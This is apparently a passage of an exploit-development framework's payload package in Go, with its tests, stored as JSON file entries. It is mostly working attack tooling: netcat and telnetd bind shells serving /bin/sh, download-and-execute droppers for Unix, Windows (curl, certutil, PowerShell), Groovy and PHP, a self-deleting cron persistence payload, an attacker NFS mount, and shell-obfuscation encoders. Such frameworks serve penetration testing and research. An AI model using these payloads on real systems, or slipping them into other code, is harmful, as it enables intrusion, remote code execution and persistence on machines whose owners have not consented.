    "content": "package bindshell\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\nconst (\n\tNetcatDefault = \"nc -l -p %d -e /bin/sh\"\n\tNetcatMknod   = `cd /tmp; mknod %s p; nc -l -p %d 0<%s | /bin/sh >%s 2>&1; rm %s;`\n\tNetcatMkfifo  = `cd /tmp; mkfifo %s; nc -l -p %d 0<%s | /bin/sh >%s 2>&1; rm %s;`\n)\n\nfunc (nc *NetcatPayload) Default(bport int) string {\n\treturn nc.Gaping(bport)\n}\n\nfunc (nc *NetcatPayload) Gaping(bport int) string {\n\treturn fmt.Sprintf(NetcatDefault, bport)\n}\n\nfunc (nc *NetcatPayload) Mknod(bport int) string {\n\tnode := random.RandLetters(3)\n\n\treturn fmt.Sprintf(NetcatMknod, node, bport, node, node, node)\n}\n\nfunc (nc *NetcatPayload) Mkfifo(bport int) string {\n\tfifo := random.RandLetters(3)\n\n\treturn fmt.Sprintf(NetcatMkfifo, fifo, bport, fifo, fifo, fifo)\n}\n"
  },
  {
    "path": "payload/bindshell/telnet.go",
    "content": "package bindshell\n\nimport (\n\t\"fmt\"\n)\n\nconst TelnetDefault = \"telnetd -l /bin/sh -p %d\"\n\nfunc (telnet *TelnetPayload) Default(bport int) string {\n\treturn telnet.TelnetdLogin(bport)\n}\n\nfunc (telnet *TelnetPayload) TelnetdLogin(bport int) string {\n\treturn fmt.Sprintf(TelnetDefault, bport)\n}\n"
  },
  {
    "path": "payload/dropper/dropper.go",
    "content": "// File dropper download and execute payloads.\n//\n// The dropper package contains all the code for download and execute payloads. Unlike the other payloads\n// this package is necessarily OS dependent for both the download and execution portions.\npackage dropper\n\ntype Dropper interface{}\n\ntype (\n\tUnixPayload    struct{}\n\tWindowsPayload struct{}\n\tGroovyPayload  struct{}\n\tPHPPayload     struct{}\n)\n\nvar (\n\tUnix    = &UnixPayload{}\n\tWindows = &WindowsPayload{}\n\tGroovy  = &GroovyPayload{}\n\tPHP     = &PHPPayload{}\n)\n"
  },
  {
    "path": "payload/dropper/dropper_test.go",
    "content": "package dropper_test\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload/dropper\"\n)\n\nfunc TestLinuxCurlHTTPDownloadAndExecute(t *testing.T) {\n\tcurlCommand := dropper.Unix.CurlHTTP(\"127.0.0.1\", 1270, false, \"helloworld\")\n\n\tif !strings.HasPrefix(curlCommand, \"curl -so\") {\n\t\tt.Fatal(curlCommand)\n\t}\n\n\tif !strings.Contains(curlCommand, \"http://\") {\n\t\tt.Fatal(curlCommand)\n\t}\n\n\tif !strings.Contains(curlCommand, \"chmod +x\") {\n\t\tt.Fatal(curlCommand)\n\t}\n\n\tif !strings.Contains(curlCommand, \"rm -f\") {\n\t\tt.Fatal(curlCommand)\n\t}\n\n\tt.Log(curlCommand)\n}\n\nfunc TestLinuxCurlHTTPSDownloadAndExecute(t *testing.T) {\n\tcurlCommand := dropper.Unix.CurlHTTP(\"127.0.0.1\", 1270, true, \"helloworld\")\n\n\tif !strings.HasPrefix(curlCommand, \"curl -kso\") {\n\t\tt.Fatal(curlCommand)\n\t}\n\n\tif !strings.Contains(curlCommand, \"https://\") {\n\t\tt.Fatal(curlCommand)\n\t}\n\n\tif !strings.Contains(curlCommand, \"chmod +x\") {\n\t\tt.Fatal(curlCommand)\n\t}\n\n\tif !strings.Contains(curlCommand, \"rm -f\") {\n\t\tt.Fatal(curlCommand)\n\t}\n\n\tt.Log(curlCommand)\n}\n\nfunc TestWindowsCurlHTTPDownloadAndExecute(t *testing.T) {\n\tcurlCommand := dropper.Windows.CurlHTTP(\"127.0.0.1\", 1270, false, \"helloworld\")\n\n\tif !strings.HasPrefix(curlCommand, \"curl.exe -so\") {\n\t\tt.Fatal(curlCommand)\n\t}\n\n\tif !strings.Contains(curlCommand, \"http://\") {\n\t\tt.Fatal(curlCommand)\n\t}\n\n\tif !strings.Contains(curlCommand, \"del /f\") {\n\t\tt.Fatal(curlCommand)\n\t}\n\n\tt.Log(curlCommand)\n}\n\nfunc TestWindowsCurlHTTPSDownloadAndExecute(t *testing.T) {\n\tcurlCommand := dropper.Windows.CurlHTTP(\"127.0.0.1\", 1270, true, \"helloworld\")\n\n\tif !strings.HasPrefix(curlCommand, \"curl.exe -kso\") {\n\t\tt.Fatal(curlCommand)\n\t}\n\n\tif !strings.Contains(curlCommand, \"https://\") {\n\t\tt.Fatal(curlCommand)\n\t}\n\n\tif !strings.Contains(curlCommand, \"del /f\") {\n\t\tt.Fatal(curlCommand)\n\t}\n\n\tt.Log(curlCommand)\n}\n\nfunc TestWindowsCertutilHTTPDownloadAndExecute(t *testing.T) {\n\thost := \"127.0.0.1\"\n\tport := 1270\n\tdownloadFile := \"helloworld\"\n\n\texpected := []string{\n\t\t`certutil.exe -urlcache -split -f http://127.0.0.1:1270/helloworld %TEMP%\\`,\n\t\t`.exe && %TEMP%\\`,\n\t\t`.exe & del /f %TEMP%\\`,\n\t}\n\n\tt.Run(\"http\", func(t *testing.T) {\n\t\tcomm := dropper.Windows.CertutilHTTP(host, port, false, downloadFile)\n\n\t\tfor _, e := range expected {\n\t\t\tif !strings.Contains(comm, e) {\n\t\t\t\tt.Fatal(comm)\n\t\t\t}\n\t\t}\n\n\t\tt.Log(comm)\n\t})\n\n\tt.Run(\"https\", func(t *testing.T) {\n\t\tcomm := dropper.Windows.CertutilHTTP(host, port, true, downloadFile)\n\n\t\tfor _, e := range expected {\n\t\t\texpected := strings.Replace(e, \"http://\", \"https://\", 1)\n\t\t\tif !strings.Contains(comm, expected) {\n\t\t\t\tt.Fatal(comm)\n\t\t\t}\n\t\t}\n\n\t\tt.Log(comm)\n\t})\n}\n\nfunc TestWindowsPowershellHTTPDownloadAndExecute(t *testing.T) {\n\thost := \"127.0.0.1\"\n\tport := 1270\n\tdownloadFile := \"helloworld\"\n\n\texpected := []string{\n\t\t\"powershell -c\",\n\t\t`'Invoke-WebRequest -Uri http://127.0.0.1:1270/helloworld -OutFile \"$([System.IO.Path]::GetTempPath())`,\n\t\t`.exe\"; \"$([System.IO.Path]::GetTempPath()`,\n\t\t`.exe\"; Remove-Item \"$([System.IO.Path]::GetTempPath())`,\n\t}\n\n\tt.Run(\"http\", func(t *testing.T) {\n\t\tcomm := dropper.Windows.PowershellHTTP(host, port, false, downloadFile)\n\n\t\tfor _, e := range expected {\n\t\t\tif !strings.Contains(comm, e) {\n\t\t\t\tt.Fatal(comm)\n\t\t\t}\n\t\t}\n\n\t\tt.Log(comm)\n\t})\n\n\tt.Run(\"https\", func(t *testing.T) {\n\t\tcomm := dropper.Windows.PowershellHTTP(host, port, true, downloadFile)\n\n\t\tfor _, e := range expected {\n\t\t\texpected := strings.Replace(e, \"http://\", \"https://\", 1)\n\t\t\tif !strings.Contains(comm, expected) {\n\t\t\t\tt.Fatal(comm)\n\t\t\t}\n\t\t}\n\n\t\tt.Log(comm)\n\t})\n}\n\nfunc TestGroovyHTTP(t *testing.T) {\n\tgroovyPayload := dropper.Groovy.HTTP(\"127.0.0.1\", 1270, \"input\", \"output\")\n\texpected := `def f = new File('output');f.withOutputStream{it << new URL('http://127.0.0.1:1270/input').openStream()};` +\n\t\t`f.setExecutable(true);def p = 'output'.execute();p.waitFor();f.delete();`\n\tif groovyPayload != expected {\n\t\tt.Fatal(groovyPayload)\n\t}\n}\n\nfunc TestPHPHTTP(t *testing.T) {\n\tphpPayload := dropper.PHP.HTTP(\"127.0.0.1\", 1270, true, \"filename\")\n\tif strings.Contains(phpPayload, \"context\") == false {\n\t\tt.Fatal(\"Missing SSL logic\")\n\t}\n\tphpPayload = dropper.PHP.HTTP(\"127.0.0.1\", 1270, false, \"filename\")\n\tif strings.Contains(phpPayload, \"context\") {\n\t\tt.Fatal(\"Mysterious inclusion of SSL logic\")\n\t}\n}\n\nfunc TestMountV3Only(t *testing.T) {\n\tmountPayload := dropper.Unix.Mountv3Only(\"127.0.0.1\", \"/tmp/nfsshare\", \"./dir\")\n\tif mountPayload != \"mount -o vers=3,nolock,exec,tcp -t nfs 127.0.0.1:/tmp/nfsshare ./dir\" {\n\t\tt.Fatal(\"Unexpected Mountv3Only formatting\")\n\t}\n}\n"
  },
  {
    "path": "payload/dropper/groovy.go",
    "content": "package dropper\n\nimport (\n\t\"fmt\"\n)\n\n// Using Groovy, download a remote file, set it to executable, execute it, and delete it.\nfunc (groovy *GroovyPayload) HTTP(lhost string, lport int, downloadFile string, output string) string {\n\t// download and write the file\n\tcmd := fmt.Sprintf(`def f = new File('%s');f.withOutputStream{it << new URL('http://%s:%d/%s').openStream()};`, output, lhost, lport, downloadFile)\n\t// set the download binary as executable\n\tcmd += `f.setExecutable(true);`\n\t// execute it\n\tcmd += fmt.Sprintf(`def p = '%s'.execute();`, output)\n\t// wait for the process to finish\n\tcmd += `p.waitFor();`\n\t// delete it\n\tcmd += \"f.delete();\"\n\n\treturn cmd\n}\n"
  },
  {
    "path": "payload/dropper/php/dropper.php",
    "content": "<?php $d = file_get_contents(\"http://%s:%d/%s\");$o=tempnam(sys_get_temp_dir(), \"\");file_put_contents($o,$d);chmod($o, 0755);exec($o);unlink($o); ?>"
  },
  {
    "path": "payload/dropper/php/dropper_secure.php",
    "content": "<?php $options = array(\"ssl\" => array(\"verify_peer\" => false,\"verify_peer_name\" => false,),);$context = stream_context_create($options);$d = file_get_contents(\"https://%s:%d/%s\", false, $context);$o=tempnam(sys_get_temp_dir(), \"\");file_put_contents($o,$d);chmod($o, 0755);exec($o);unlink($o); ?>"
  },
  {
    "path": "payload/dropper/php.go",
    "content": "package dropper\n\nimport (\n\t_ \"embed\"\n\t\"fmt\"\n)\n\nvar (\n\t//go:embed php/dropper.php\n\tPHPDropper string\n\t//go:embed php/dropper_secure.php\n\tPHPDropperSecure string\n)\n\n// Using PHP: download a remote file, write a tmp file, set it to executable, execute it, and delete it.\nfunc (php *PHPPayload) HTTP(lhost string, lport int, ssl bool, downloadFile string) string {\n\tif ssl {\n\t\treturn fmt.Sprintf(PHPDropperSecure, lhost, lport, downloadFile)\n\t}\n\n\treturn fmt.Sprintf(PHPDropper, lhost, lport, downloadFile)\n}\n"
  },
  {
    "path": "payload/dropper/unix.go",
    "content": "package dropper\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\n// Download a remote file with curl, but do not execute/delete it.\n// You also need to provide your own full file path, .exe will not be appended like the others.\n// Lastly the full output file path needs to be specified in the output parameter.\nfunc (unix *UnixPayload) CurlHTTPDownloadOnly(lhost string, lport int, ssl bool, downloadFile string, output string) string {\n\tif ssl {\n\t\treturn fmt.Sprintf(\"curl -kso %s https://%s:%d/%s\", output, lhost, lport, downloadFile)\n\t}\n\n\treturn fmt.Sprintf(\"curl -so %s http://%s:%d/%s\", output, lhost, lport, downloadFile)\n}\n\n// Download a remote file with curl, execute it, and delete it.\nfunc (unix *UnixPayload) CurlHTTP(lhost string, lport int, ssl bool, downloadFile string) string {\n\toutput := \"/tmp/\" + random.RandLetters(3)\n\n\tif ssl {\n\t\treturn fmt.Sprintf(\"curl -kso %s https://%s:%d/%s && chmod +x %s && %s & rm -f %s\",\n\t\t\toutput, lhost, lport, downloadFile, output, output, output)\n\t}\n\n\treturn fmt.Sprintf(\"curl -so %s http://%s:%d/%s && chmod +x %s && %s & rm -f %s\",\n\t\toutput, lhost, lport, downloadFile, output, output, output)\n}\n\n// Download a remote file with curl or wget, execute it, and delete it.\nfunc (unix *UnixPayload) EitherHTTP(lhost string, lport int, ssl bool, downloadFile string) string {\n\toutput := \"/tmp/\" + random.RandLetters(3)\n\turi := fmt.Sprintf(\"%s:%d/%s\", lhost, lport, downloadFile)\n\n\tif ssl {\n\t\treturn fmt.Sprintf(\"(curl -kso %s https://%s || wget --no-check-certificate -O %s https://%s) && chmod +x %s && %s & rm -f %s\",\n\t\t\toutput, uri, output, uri, output, output, output)\n\t}\n\n\treturn fmt.Sprintf(\"(curl -kso %s http://%s || wget -O %s http://%s) && chmod +x %s && %s & rm -f %s\",\n\t\toutput, uri, output, uri, output, output, output)\n}\n\n// Download a remote file with curl, execute it, and delete it.\nfunc (unix *UnixPayload) WgetHTTPEx(lhost string, lport int, ssl bool, downloadFile string) string {\n\toutput := \"/tmp/\" + random.RandLetters(3)\n\n\tif ssl {\n\t\treturn fmt.Sprintf(\"wget --no-check-certificate -O %s https://%s:%d/%s && chmod +x %s && %s & rm -f %s\",\n\t\t\toutput, lhost, lport, downloadFile, output, output, output)\n\t}\n\n\treturn fmt.Sprintf(\"wget -O %s http://%s:%d/%s && chmod +x %s && %s & rm -f %s\",\n\t\toutput, lhost, lport, downloadFile, output, output, output)\n}\n\n// Download a remote bash script with wget and pipe it to bash.\nfunc (unix *UnixPayload) WgetHTTP(lhost string, lport int, ssl bool, downloadFile string) string {\n\turi := fmt.Sprintf(\"%s:%d/%s\", lhost, lport, downloadFile)\n\n\tif ssl {\n\t\treturn fmt.Sprintf(\"wget --no-check-certificate -qO- https://%s | sh\", uri)\n\t}\n\n\treturn fmt.Sprintf(\"wget -qO- http://%s | sh\", uri)\n}\n\n// Mount a remote NFS directory using NFS v3. This will mount the attacker controlled share at\n// <lhost>:<lshareDir> and make it available to the attacker at <rshareDir>. Usage example:\n//\n//\tMountv3Only(\"10.9.49.2\",\"/tmp/nfsshare\", \"./b\")\n//\n// This function does not attempt to actually execute any files on the share.\nfunc (unix *UnixPayload) Mountv3Only(lhost string, lshareDir string, rshareDir string) string {\n\treturn fmt.Sprintf(\"mount -o vers=3,nolock,exec,tcp -t nfs %s:%s %s\", lhost, lshareDir, rshareDir)\n}\n"
  },
  {
    "path": "payload/dropper/windows.go",
    "content": "package dropper\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\n// Download a remote file with curl.exe, but do not execute/delete it.\n// You also need to provide your own full file path, .exe will not be appended like the others.\n// Lastly the full output file path needs to be specified in the output parameter.\nfunc (win *WindowsPayload) CurlHTTPDownloadOnly(lhost string, lport int, ssl bool, downloadFile string, output string) string {\n\tif ssl {\n\t\treturn fmt.Sprintf(\"curl.exe -kso %s https://%s:%d/%s\", output, lhost, lport, downloadFile)\n\t}\n\n\treturn fmt.Sprintf(\"curl.exe -so %s http://%s:%d/%s\", output, lhost, lport, downloadFile)\n}\n\n// Much like CurlHTTPDownloadOnly, this function will generate the certutil.exe command to download a file and save it to the provided location.\n//\n//\tdownloadCmd := dropper.Windows.CertutilHTTPDownloadOnly(httpFileServer.HTTPAddr, httpFileServer.HTTPPort, httpFileServer.TLS, httpFileServer.GetRandomName(\"\"), destFilePath)\nfunc (win *WindowsPayload) CertutilHTTPDownloadOnly(lhost string, lport int, ssl bool, downloadFile string, outputPath string) string {\n\turi := fmt.Sprintf(\"http://%s:%d/%s\", lhost, lport, downloadFile)\n\tif ssl {\n\t\turi = strings.Replace(uri, \"http://\", \"https://\", 1)\n\t}\n\n\treturn fmt.Sprintf(\"certutil.exe -urlcache -split -f %s %s\", uri, outputPath)\n}\n\n// Download a remote file with curl.exe, execute it, and delete it (after execution).\nfunc (win *WindowsPayload) CurlHTTP(lhost string, lport int, ssl bool, downloadFile string) string {\n\toutput := `%TEMP%\\` + random.RandLetters(3) + \".exe\"\n\n\t// NOTE: Can't delete a file in use\n\tif ssl {\n\t\treturn fmt.Sprintf(\"curl.exe -kso %s https://%s:%d/%s && %s & del /f %s\", output, lhost, lport, downloadFile, output, output)\n\t}\n\n\treturn fmt.Sprintf(\"curl.exe -so %s http://%s:%d/%s && %s & del /f %s\", output, lhost, lport, downloadFile, output, output)\n}\n\n// Download a remote file with certutil.exe, execute it, and delete it (after execution).\nfunc (win *WindowsPayload) CertutilHTTP(lhost string, lport int, ssl bool, downloadFile string) string {\n\toutput := `%TEMP%\\` + random.RandLetters(3) + \".exe\"\n\n\turi := fmt.Sprintf(\"http://%s:%d/%s\", lhost, lport, downloadFile)\n\tif ssl {\n\t\turi = strings.Replace(uri, \"http://\", \"https://\", 1)\n\t}\n\n\treturn fmt.Sprintf(\"certutil.exe -urlcache -split -f %s %s && %s & del /f %s\", uri, output, output, output)\n}\n\n// Download a remote file with PowerShell, execute it, and delete it (after execution).\nfunc (win *WindowsPayload) PowershellHTTP(lhost string, lport int, ssl bool, downloadFile string) string {\n\t// .NET method 'GetTempPath' instead relying on environment variables for better compatibility\n\t// Details: https://learn.microsoft.com/en-us/dotnet/api/system.io.path.gettemppath\n\toutput := `\"$([System.IO.Path]::GetTempPath())` + random.RandLetters(3) + `.exe\"`\n\turi := fmt.Sprintf(\"http://%s:%d/%s\", lhost, lport, downloadFile)\n\tif ssl {\n\t\turi = fmt.Sprintf(\"https://%s:%d/%s\", lhost, lport, downloadFile)\n\t}\n\n\treturn fmt.Sprintf(`powershell -c 'Invoke-WebRequest -Uri %s -OutFile %s; %s; Remove-Item %s'`, uri, output, output, output)\n}\n"
  },
  {
    "path": "payload/encode.go",
    "content": "// Payload related functions and actions\n//\n// The payload package contains a collection of universally applicable functions for payloads, sub-packages\n// containing specific payloads, and any specific payloads that do not fit into the other sub package types.\npackage payload\n\nimport (\n\t\"regexp\"\n)\n\nfunc EncodeCommandBrace(cmd string) string {\n\tescaped := regexp.MustCompile(`([{,}])`).ReplaceAllString(cmd, `\\$1`)\n\n\treturn \"{\" + regexp.MustCompile(`\\s+`).ReplaceAllString(escaped, \",\") + \"}\"\n}\n\nfunc EncodeCommandIFS(cmd string) string {\n\treturn regexp.MustCompile(`\\s+`).ReplaceAllLiteralString(cmd, \"${IFS}\")\n}\n"
  },
  {
    "path": "payload/encode_test.go",
    "content": "package payload_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload\"\n)\n\nfunc TestEncodeCommandBrace(t *testing.T) {\n\tencoded := payload.EncodeCommandBrace(\"foo bar baz\")\n\n\tif encoded != \"{foo,bar,baz}\" {\n\t\tt.Fatal(encoded)\n\t}\n\n\tt.Log(encoded)\n}\n\nfunc TestEncodeCommandIFS(t *testing.T) {\n\tencoded := payload.EncodeCommandIFS(\"foo bar baz\")\n\n\tif encoded != \"foo${IFS}bar${IFS}baz\" {\n\t\tt.Fatal(encoded)\n\t}\n\n\tt.Log(encoded)\n}\n"
  },
  {
    "path": "payload/fileplant/cron.go",
    "content": "// file planting based payloads.\n//\n// The fileplant package contains payloads to aid the exploit developer in achieving execution\n// via binary planting, dll planting, and just general file hijinks.\npackage fileplant\n\nimport (\n\t\"fmt\"\n)\n\ntype CronPayload struct{}\n\nvar Cron = &CronPayload{}\n\n// Creates two strings that can be used for gaining execution via \"/etc/cron.d\". The first return (\"cron\")\n// should be uploaded to \"cronPath\" (presumably /etc/cron.d but I don't know your life), and the second\n// return should be uploaded to \"xploitPath\" (e.g. /tmp/helloworld). The cron file will trigger\n// execution of the bash script which will delete both the cron and itself. Example usage:\n//\n//\tcronPath := fmt.Sprintf(\"/etc/cron.d/%s\", random.RandLetters(8))\n//\txploitPath := fmt.Sprintf(\"/tmp/%s\", random.RandLetters(8))\n//\txploit, ok := generatePayload(conf)\n//\tif !ok {\n//\t    return false\n//\t}\n//\tcron, xploit := payload.SelfRemovingCron(\"root\", cronPath, xploitPath, xploit)\nfunc (c *CronPayload) SelfRemovingCron(user string, cronPath string, xploitPath string, payload string) (string, string) {\n\tcron := fmt.Sprintf(\"* * * * * %s /bin/sh %s\\n\", user, xploitPath)\n\txploit := fmt.Sprintf(\"#!/bin/sh\\n\\nrm -f %s\\nrm -f %s\\n%s\\n\", cronPath, xploitPath, payload)\n\n\treturn cron, xploit\n}\n"
  },
  {
    "path": "payload/fileplant/fileplant_test.go",
    "content": "package fileplant_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/payload/fileplant\"\n)\n\nfunc TestEncodeSelfRemovingCron(t *testing.T) {\n\tcron, xploit := fileplant.Cron.SelfRemovingCron(\"root\", \"/etc/cron.d/hi\", \"/tmp/test\", \"id\")\n\n\tif cron != \"* * * * * root /bin/sh /tmp/test\\n\" {\n\t\tt.Fatal(cron)\n\t}\n\n\tif xploit != \"#!/bin/sh\\n\\nrm -f /etc/cron.d/hi\\nrm -f /tmp/test\\nid\\n\" {\n\t\tt.Fatal(xploit)\n\t}\n}\n"
  },
  {
    "path": "payload/payload.go",
    "content": "package payload\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\ntype (\n\t// Type defines the different types of payload can be. These fall\n\t// into 2 buckets: command and payload based. We define each of the\n\t// types to be specific both for exploit payload metadata, but also\n\t// because it is possible to support an exploit that targets\n\t// different types depending on required behavior.\n\tType int\n\t// Arch represents generalized architecture support for payload\n\t// selection disambiguation and metadata. This allows a payload to\n\t// explicitly declare what architectures they support and can be\n\t// used by an exploit to change behavior dynamically if required.\n\tArch int\n\t// Effect is the type of impact a portion of the exploit employs\n\t// and any target system side effects. These are relatively loosely\n\t// defined and focused on the combination between\n\t// indicators-of-compromise, payload default behavior, and types of\n\t// network traffic. The payload.Effects map provides a way to\n\t// define multiple types of effects and define the metadata as\n\t// arbitrary strings.\n\tEffect int\n)\n\n// Effects represents an exploits impact on the target, network, and\n// potential side-effects caused by it's usage. An effect can happen\n// multiple times and a human readable string describing the context can be\n// used. For example, defining an effect for an exploit that creates 2\n// files can be defined as follows:\n//\n//\tpayload.Effects{\n//\t\tpayload.FileCreate: []string{\"/var/www/html/pwnt\", \"/var/www/html/pwnt2\"},\n//\t}\n//\n// These effects are currently only used for metadata definitions and\n// details flags.\ntype Effects map[Effect][]string\n\n// Supported struct is passed to exploit definitions for calling RunExploit\n// and informs the exploit of the types, architecture, effects, and whether\n// a payload is the default type the exploit should use. An exploit\n// developer can add support for a payload type to an exploit with\n// config.AddPayload, which in turn enables enables the contextual flags\n// for custom payload usage.\n//\n// If Default is set, the exploit will use the set payload. Additionally,\n// if only a single payload is used Default does not have to be set and if\n// no Default is set with multiple payloads the exploit logic will select\n// the first processed supported type.\n//\n// Multiple payloads being defined enables the -payload-type flag that\n// allows for string selection between the supported payloads. In addition,\n// using multiple payloads of the same type but with different\n// architectures will enable -payload-arch flag to further allow selection.\n//\n// An example of defining multiple payloads to support an exploit with a\n// command execution or a payload upload with multiple architectures can be\n// defined as follows:\n//\n//\t[]payload.Supported{\n//\t\t{\n//\t\t\tType:    payload.GenericCommand,\n//\t\t\tArch:    payload.None,\n//\t\t\tEffects: payload.NoEffects,\n//\t\t\tDefault: true,\n//\t\t},\n//\t\t{\n//\t\t\tType:    payload.LinuxELF,\n//\t\t\tArch:    payload.AMD64,\n//\t\t\tEffects: payload.NoEffects,\n//\t\t},\n//\t\t{\n//\t\t\tType: payload.LinuxELF,\n//\t\t\tArch: payload.ARM64,\n//\t\t\tEffects: payload.Effects{\n//\t\t\t\tpayload.FileCreate: []string{\"/var/www/html/pwnt\", \"/var/www/html/pwnt2\"},\n//\t\t\t},\n//\t\t},\n//\t}\ntype Supported struct {\n\tType    Type\n\tArch    Arch\n\tEffects Effects\n\tDefault bool\n}\n\nconst (\n\t// GenericCommand is used for arbitrary command line execution\n\t// without OS specificity.\n\tGenericCommand Type = iota\n\t// WindowsCommand is used for command line execution, generally via\n\t// cmd.exe or local execution on Windows systems.\n\tWindowsCommand\n\t// WindowsPowerShellCommand represents command line execution of PowerShell.\n\tWindowsPowerShellCommand\n\t// MacCommand is used command line execution on a macOS system.\n\tMacCommand\n\t// LinuxCommand is used for shell execution in a Linux environment.\n\tLinuxCommand\n\t// LinuxELF is used for payloads containing ELF binaries for execution.\n\tLinuxELF\n\t// LinuxSO is used for payloads containing ELF shared object\n\t// binaries for execution via some library loading mechanism or via\n\t// dropping.\n\tLinuxSO\n\t// WindowsEXE is used for Windows PE executable files.\n\tWindowsEXE // PE\n\t// WindowsDLL is used for Windows DLL files binaries for execution\n\t// via some library loading mechanism or via dropping.\n\tWindowsDLL\n\t// Webshell is used for arbitrary web shells that represent\n\t// payloads that get dropped to targets.\n\tWebshell\n\tUnspecifiedType\n)\n\nconst (\n\tNotDefault bool = false\n\tDefault         = true\n)\n\nconst (\n\tNone Arch = iota\n\tAMD64\n\tI386\n\tARMEL\n\tARMHF\n\tARM64\n\tMIPS\n\tMIPSEL\n\tMIPS64\n\tMIPS64EL\n\tPPC\n\tPPC64\n\tPPC64EL\n\tS390X\n\n\t//nolint:revive  // alias is not stylistically ok, but most X864 is not clear\n\tX86_64  Arch = AMD64\n\tX86     Arch = I386\n\tPOWER8  Arch = PPC64EL\n\tPOWER9  Arch = PPC64EL\n\tAARCH64 Arch = ARM64\n)\n\nconst (\n\tFileCreate Effect = 1 << iota\n\tFileOverwrite\n\tFileDelete\n\tExecute\n\tInMemory\n\tConfigChanges\n\tIndicatorInLogs\n\tAccountLockout\n\tPhysical\n\tWebRequest\n\tReverseShellTCP\n\tReverseShellUDP\n\tReverseShellTLS\n\n\tUnknown\n\tmaxKey // Should be the largest/last iota. Used for stringifying\n\n\tReverseShellSSL Effect = ReverseShellTLS\n)\n\nvar (\n\tNoEffects      = Effects{}\n\tUnknownEffects = Effects{\n\t\tUnknown: []string{\"The effects of this exploit are unknown at this time\"},\n\t}\n)\n\n// String representation of the supported payload types.\nfunc (s Supported) String() string {\n\ttostr := map[string][]string{}\n\tfor effect, details := range s.Effects {\n\t\ttostr[effect.String()] = details\n\t}\n\ta, err := json.Marshal(tostr)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Could not marshal payload effects: %s\", err.Error())\n\n\t\treturn \"\"\n\t}\n\n\treturn fmt.Sprintf(\"%s (%s) - Effects: %s\", s.Type.String(), s.Arch.String(), a)\n}\n\n// String representation of the payload supported architecture.\nfunc (a Arch) String() string {\n\tswitch a {\n\tcase None:\n\t\treturn \"none\"\n\tcase AMD64:\n\t\treturn \"amd64\"\n\tcase I386:\n\t\treturn \"i386\"\n\tcase ARMEL:\n\t\treturn \"armel\"\n\tcase ARMHF:\n\t\treturn \"armhf\"\n\tcase ARM64:\n\t\treturn \"arm64\"\n\tcase MIPS:\n\t\treturn \"mips\"\n\tcase MIPSEL:\n\t\treturn \"mipsel\"\n\tcase MIPS64:\n\t\treturn \"mips64\"\n\tcase MIPS64EL:\n\t\treturn \"mips64el\"\n\tcase PPC:\n\t\treturn \"ppc\"\n\tcase PPC64:\n\t\treturn \"ppc64\"\n\tcase PPC64EL:\n\t\treturn \"ppc64el\"\n\tcase S390X:\n\t\treturn \"s390x\"\n\tdefault:\n\t\toutput.PrintFrameworkError(\"Attempted to use an unknown architecture\")\n\n\t\treturn \"\"\n\t}\n}\n\n// ArchFromString returns the architecture type from a string.\nfunc ArchFromString(s string) Arch {\n\tswitch strings.ToLower(s) {\n\tcase \"none\":\n\t\treturn None\n\tcase \"amd64\", \"x86_64\":\n\t\treturn AMD64\n\tcase \"i386\", \"x86\":\n\t\treturn I386\n\tcase \"armel\":\n\t\treturn ARMEL\n\tcase \"armhf\":\n\t\treturn ARMHF\n\tcase \"arm64\":\n\t\treturn ARM64\n\tcase \"mips\":\n\t\treturn MIPS\n\tcase \"mipsel\":\n\t\treturn MIPSEL\n\tcase \"mips64\":\n\t\treturn MIPS64\n\tcase \"mips64el\":\n\t\treturn MIPS64EL\n\tcase \"ppc\":\n\t\treturn PPC\n\tcase \"ppc64\":\n\t\treturn PPC64\n\tcase \"ppc64el\":\n\t\treturn PPC64EL\n\tcase \"s390x\":\n\t\treturn S390X\n\tdefault:\n\t\toutput.PrintFrameworkError(\"Attempted to use an unknown architecture\")\n\n\t\treturn None\n\t}\n}\n\n// Payload type as represented by a string.\nfunc (t Type) String() string {\n\tswitch t {\n\tcase LinuxCommand:\n\t\treturn \"LinuxCommand\"\n\tcase WindowsCommand:\n\t\treturn \"WindowsCommand\"\n\tcase WindowsPowerShellCommand:\n\t\treturn \"WindowsPowerShellCommand\"\n\tcase MacCommand:\n\t\treturn \"MacCommand\"\n\tcase GenericCommand:\n\t\treturn \"GenericCommand\"\n\tcase LinuxELF:\n\t\treturn \"LinuxELF\"\n\tcase LinuxSO:\n\t\treturn \"LinuxSO\"\n\tcase WindowsEXE:\n\t\treturn \"WindowsEXE\"\n\tcase WindowsDLL:\n\t\treturn \"WindowsDLL\"\n\tcase Webshell:\n\t\treturn \"Webshell\"\n\tcase UnspecifiedType:\n\t\treturn \"Unspecified\"\n\tdefault:\n\t\toutput.PrintFrameworkError(\"Unexpected payload type used\")\n\n\t\treturn \"\"\n\t}\n}\n\n// If the payload type should be categorized as a command. This can be used\n// to check if the selected type is a command payload type without doing\n// type comparisons. An example of it's usages in combination with a custom\n// payload can be seen below:\n//\n//\tif conf.HasCustomPayload() {\n//\t\tif conf.SelectedPayload.Type.IsCommand() {\n//\t\t\toutput.PrintfStatus(\"using '%s' in place of default\", string(conf.CustomPayload))\n//\t\t} else {\n//\t\t\toutput.PrintfStatus(\"using binary len %d in place of default\", len(string(conf.CustomPayload)))\n//\t\t}\n//\t}\nfunc (t Type) IsCommand() bool {\n\tswitch t {\n\tcase LinuxCommand:\n\t\treturn true\n\tcase WindowsCommand:\n\t\treturn true\n\tcase WindowsPowerShellCommand:\n\t\treturn true\n\tcase MacCommand:\n\t\treturn true\n\tcase GenericCommand:\n\t\treturn true\n\tcase LinuxELF:\n\t\treturn false\n\tcase LinuxSO:\n\t\treturn false\n\tcase WindowsEXE:\n\t\treturn false\n\tcase WindowsDLL:\n\t\treturn false\n\tcase Webshell:\n\t\treturn false\n\tcase UnspecifiedType:\n\t\treturn 